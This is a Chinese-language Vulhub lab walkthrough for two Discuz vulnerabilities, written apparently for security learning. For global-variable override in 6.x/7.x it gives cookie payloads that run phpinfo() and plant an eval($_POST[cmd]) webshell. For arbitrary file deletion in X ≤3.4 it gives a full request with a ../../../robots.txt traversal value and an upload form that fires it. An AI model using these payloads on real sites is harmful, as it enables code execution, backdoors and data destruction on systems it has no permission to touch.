Vulhub 漏洞学习之:Discuz
Vulhub 漏洞学习之:Discuz
1 Discuz 7.x/6.x 全局变量防御绕过导致代码执行
由于php5.3.x版本里php.ini的设置里request_order
默认值为GP,导致$_REQUEST
中不再包含$_COOKIE
,我们通过在Cookie中传入$GLOBALS
来覆盖全局变量,造成代码执行漏洞。
具体原理请参考:
1.1 漏洞利用过程
-
启动后,访问
http://your-ip:8080/install/
来安装discuz,数据库地址填写db
,数据库名为discuz
,数据库账号密码均为root
。 -
安装成功后,直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
:GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); Connection: close
-
GetShell 操作
# Payload GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[cmd])%3B; # 当前帖子的URL: http://192.168.210.13:8080/viewthread.php?tid=12&extra=page%3D1 # 查看当前复制当前帖子的cookie信息,并在后面添加GetShell 的 Payload: Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; IkT_sid=F200j0; IkT_visitedfid=2; IkT_oldtopics=D12D; IkT_fid2=1642753412;GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[cmd])%3B;
-
GetShell 成功
2 Discuz!X ≤3.4 任意文件删除漏洞
影响版本:Discuz!X ≤3.4
漏洞详情:https://lorexxar.cn/2017/09/30/dz-delete/
2.1 漏洞利用过程
-
安装时,只用修改数据库地址为
db
,其他保持默认即可 -
安装成功后,访问
http://192.168.210.13/robots.txt
,目标存在robots.txt -
注册用户后,在个人设置页面找到自己的formhash:
# http://your-ip/home.php?mod=spacecp http://192.168.210.13/home.php?mod=spacecp
-
带上自己的Cookie、formhash发送如下数据包:
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1 Host: localhost Content-Length: 367 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 Cookie: [your cookie] Connection: close ------WebKitFormBoundaryPFvXyxL45f34L12s Content-Disposition: form-data; name="formhash" [your formhash] ------WebKitFormBoundaryPFvXyxL45f34L12s Content-Disposition: form-data; name="birthprovince" ../../../robots.txt ------WebKitFormBoundaryPFvXyxL45f34L12s Content-Disposition: form-data; name="profilesubmit" 1 ------WebKitFormBoundaryPFvXyxL45f34L12s--
-
提交成功之后,用户资料修改页面上的出生地就会显示成下图所示的状态:说明我们的脏数据已经进入数据库了。
出生地 ../../../robots.txt (修改)
-
然后,新建一个upload.html,代码如下,将其中的[your-ip]改成discuz的域名,[form-hash]改成你的formhash,再使用登录的浏览器打开:
<body> <form action="http://[your_ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data"> <input type="file" name="birthprovince" /> <input type="submit" value="upload" /> </form> </body>
-
使用BP拦截会话请求,用浏览器打开该页面,上传一个正常图片。在上传图片的请求中插入登录后的Cookie值,此时脏数据应该已被提取出。
-
再次访问http://your-ip/robots.txt,发现文件成功被删除,漏洞已经利用结束。